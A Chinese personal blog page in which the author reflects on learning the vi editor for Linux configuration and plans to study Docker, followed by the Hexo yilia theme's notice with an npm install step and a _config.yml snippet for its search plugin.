这篇文章是我配置时遇到的一些困难，当时是用vi编辑器改一些东西，对于纯命令行系统vi是必须要会的，内容从网上扒了一段从鸟哥私房菜扒了一段，鉴于鸟哥私房菜太过于深入，我们小菜受用不了太深，我想上述记录里面的也够平时的使用了。

顺便感慨一下，linux有些方面确实很方便，也是技能树比较重要的一个分支，接下来目标是搞一搞docker容器，一个轻量的虚拟机。

show all >>

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

Don't learn to hack,hacking to learn..